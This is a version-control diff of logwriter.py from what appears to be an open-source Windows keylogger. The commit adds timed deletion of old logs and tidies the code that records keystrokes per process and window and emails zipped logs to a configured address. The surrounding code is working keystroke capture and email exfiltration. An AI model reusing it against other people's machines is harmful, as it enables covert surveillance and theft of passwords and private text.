add deletion of old logfiles feature

nanotube [2006-07-20 06:15]
add deletion of old logfiles feature
refactor some code for cleanliness
Filename
logwriter.py
diff --git a/logwriter.py b/logwriter.py
index 65110b7..5dd4b49 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -3,10 +3,11 @@ import os, os.path
 import time
 import re
 import sys
-#from threading import Timer
+
+# needed for automatic timed recurring events
 import mytimer

-#the following are needed for zipping the logfiles
+# the following are needed for zipping the logfiles
 import zipfile
 import zlib

@@ -19,11 +20,11 @@ from email.Utils import COMMASPACE, formatdate
 from email import Encoders

 class LogWriter:
-
+    '''Manages the writing of log files and logfile maintenance activities.
+    '''
     def __init__(self, settings):

         self.settings = settings
-
         self.settings['dirname'] = os.path.normpath(self.settings['dirname'])

         try:
@@ -49,15 +50,9 @@ class LogWriter:
                     self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
             except:
                 self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-
-        # we only want to initalize the timer once, and then only AFTER we have some file opened to self.log
-        # so this will be our "one time use" flag
-        self.flushTimerInitialized = False

-        #~ if not self.options.debug:      #if we are not running debug and thus can see console, let's redirect stderr to errorlog.
-            #~ self.errorlog = open(os.path.join(self.options.dirName, "errorlog.txt"), 'a')
-            #~ self.savestderr = sys.stderr    #save stderr just in case we want to restore it later
-            #~ sys.stderr = self.errorlog
+        # initialize self.log to None, so that we dont attempt to flush it until it exists
+        self.log = None

         # Set up the subset of keys that we are going to log
         self.asciiSubset = [8,9,10,13,27]           #backspace, tab, line feed, carriage return, escape
@@ -68,11 +63,23 @@ class LogWriter:
         if self.settings['parseescape'] == 'True':
             self.asciiSubset.remove(27)             #remove escape from allowed chars if needed

-        # initialize the automatic zip and email timer
-        self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction)
-        self.emailtimer.start()
+        # initialize the automatic zip and email timer, if enabled in .ini
+        if self.settings['smtpsendemail'] == 'True':
+            self.emailtimer = mytimer.MyTimer(float(self.settings['emailinterval'])*60, 0, self.ZipAndEmailTimerAction)
+            self.emailtimer.start()
+
+        # initialize automatic old log deletion timer
+        if self.settings['deleteoldlogs'] == 'True':
+            self.oldlogtimer = mytimer.MyTimer(float(self.settings['agecheckinterval'])*60*60, 0, self.DeleteOldLogs)
+            self.oldlogtimer.start()
+
+        # initialize the automatic log flushing timer
+        self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
+        self.flushtimer.start()

     def WriteToLogFile(self, event):
+        '''Write keystroke specified in "event" object to logfile
+        '''
         loggable = self.TestForNoLog(event)     # see if the program is in the no-log list.

         if not loggable:
@@ -83,12 +90,6 @@ class LogWriter:

         loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems

-        #start our autoflush timer, since a log file has been opened at this point, for the first time
-        if loggable and self.flushTimerInitialized == False:
-            self.flushTimerInitialized = True
-            self.flushtimer = mytimer.MyTimer(float(self.settings['flushinterval']), 0, self.FlushLogWriteBuffers)
-            self.flushtimer.start()
-
         if not loggable:
             self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n")
             return
@@ -112,8 +113,7 @@ class LogWriter:
             self.PrintStuff('[KeyName:' + event.Key + ']')

         if event.Key == self.settings['flushkey']:
-            self.log.flush()
-            if self.settings['systemlog'] != 'None': self.systemlog.flush()
+            self.FlushLogWriteBuffers("Flushing write buffers due to keyboard command\n")

     def TestForNoLog(self, event):
         '''This function returns False if the process name associated with an event
@@ -126,19 +126,26 @@ class LogWriter:
                     return False
         return True

-    def FlushLogWriteBuffers(self):
-        self.PrintDebug("flushing file write buffer due to timer\n")
-        self.log.flush()
+    def FlushLogWriteBuffers(self, logstring=""):
+        '''Flush the output buffers and print a message to systemlog or stdout
+        '''
+        self.PrintDebug(logstring)
+        if self.log != None: self.log.flush()
         if self.settings['systemlog'] != 'None': self.systemlog.flush()

     def ZipLogFiles(self):
+        '''Create a zip archive of all files in the log directory.
+        '''
+        self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")
+
         os.chdir(self.settings['dirname'])
         myzip = zipfile.ZipFile(self.settings['ziparchivename'], "w", zipfile.ZIP_DEFLATED)
+
         for root, dirs, files in os.walk(os.curdir):
             for fname in files:
                 if fname != self.settings['ziparchivename']:
                     myzip.write(os.path.join(root,fname).split("\\",1)[1])
-    #            myzip.write(fname)
+
         myzip.close()
         myzip = zipfile.ZipFile(self.settings['ziparchivename'], "r", zipfile.ZIP_DEFLATED)
         if myzip.testzip() != None:
@@ -146,12 +153,8 @@ class LogWriter:
         myzip.close()

     def SendZipByEmail(self):
-
-        #def sendMail(to, fro, subject, text, files=[],server="localhost"):
-        #~ assert type(to)==list
-        #~ assert type(files)==list
-        #fro = "Expediteur <expediteur@mail.com>"
-
+        '''Send the zipped logfile archive by email, using mail settings specified in the .ini file
+        '''
         # set up the message
         msg = MIMEMultipart()
         msg['From'] = self.settings['smtpfrom']
@@ -181,14 +184,16 @@ class LogWriter:
         mysmtp.quit()

     def ZipAndEmailTimerAction(self):
+        '''This is a timer action function that zips the logs and sends them by email.
+        '''
         self.PrintDebug("Sending mail to " + self.settings['smtpto'] + "\n")
-        self.log.flush()
-        if self.settings['systemlog'] != 'None': self.systemlog.flush()
         self.ZipLogFiles()
         self.SendZipByEmail()

     def OpenLogFile(self, event):
-
+        '''Open the appropriate log file, depending on event properties and settings in .ini file.
+        '''
+        # if the "onefile" option is set, we don't that much to do:
         if self.settings['onefile'] != 'None':
             if self.writeTarget == "":
                 self.writeTarget = os.path.join(os.path.normpath(self.settings['dirname']), os.path.normpath(self.settings['onefile']))
@@ -207,6 +212,7 @@ class LogWriter:
                 self.PrintDebug("writing to: " + self.writeTarget + "\n")
             return True

+        # if "onefile" is not set, we start playing with the logfilenames:
         subDirName = self.filter.sub(r'__',self.processName)      #our subdirname is the full path of the process owning the hwnd, filtered.

         WindowName = self.filter.sub(r'__',str(event.WindowName))
@@ -228,8 +234,9 @@ class LogWriter:
         #already-opened file.
         if self.writeTarget != os.path.join(self.settings['dirname'], subDirName, filename):
             if self.writeTarget != "":
-                self.PrintDebug("flushing and closing old log\n")
-                self.log.flush()
+                self.FlushLogWriteBuffers("flushing and closing old log\n")
+                #~ self.PrintDebug("flushing and closing old log\n")
+                #~ self.log.flush()
                 self.log.close()
             self.writeTarget = os.path.join(self.settings['dirname'], subDirName, filename)
             self.PrintDebug("writeTarget:" + self.writeTarget + "\n")
@@ -261,19 +268,40 @@ class LogWriter:
         return True

     def PrintStuff(self, stuff):
+        '''Write stuff to log, or to debug outputs.
+        '''
         if not self.settings['debug']:
             self.log.write(stuff)
         else:
             self.PrintDebug(stuff)

     def PrintDebug(self, stuff):
+        '''Write stuff to console and/or systemlog.
+        '''
         if self.settings['debug']:
             sys.stdout.write(stuff)
         if self.settings['systemlog'] != 'None':
             self.systemlog.write(stuff)

+    def DeleteOldLogs(self):
+        '''Walk the log directory tree and remove any logfiles older than maxlogage (as set in .ini).
+        '''
+        self.PrintDebug("Analyzing and removing old logfiles.\n")
+        for root, dirs, files in os.walk(self.settings['dirname']):
+            for fname in files:
+                if time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['maxlogage'])*24*60*60:
+                    try:
+                        os.remove(os.path.join(root,fname))
+                    except:
+                        self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+                    try:
+                        os.rmdir(root)
+                    except:
+                        self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+
     def GetProcessNameFromHwnd(self, hwnd):
-
+        '''Acquire the process name from the window handle for use in the log filename.
+        '''
         threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)

         # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
@@ -282,11 +310,20 @@ class LogWriter:
         procname = win32process.GetModuleFileNameEx(mypyproc, 0)
         return procname

+    def stop(self):
+        '''To exit cleanly, flush all write buffers, and stop all running timers.
+        '''
+        self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
+        self.flushtimer.cancel()
+        if self.settings['smtpsendemail'] == 'True':
+            self.emailtimer.cancel()
+        if self.settings['deleteoldlogs'] == 'True':
+            self.oldlogtimer.cancel()

 if __name__ == '__main__':
     #some testing code
     #put a real existing hwnd into event.Window to run test
-    #this testing code is now really outdated.
+    #this testing code is now really outdated and useless.
     lw = LogWriter()
     class Blank:
         pass
ViewGit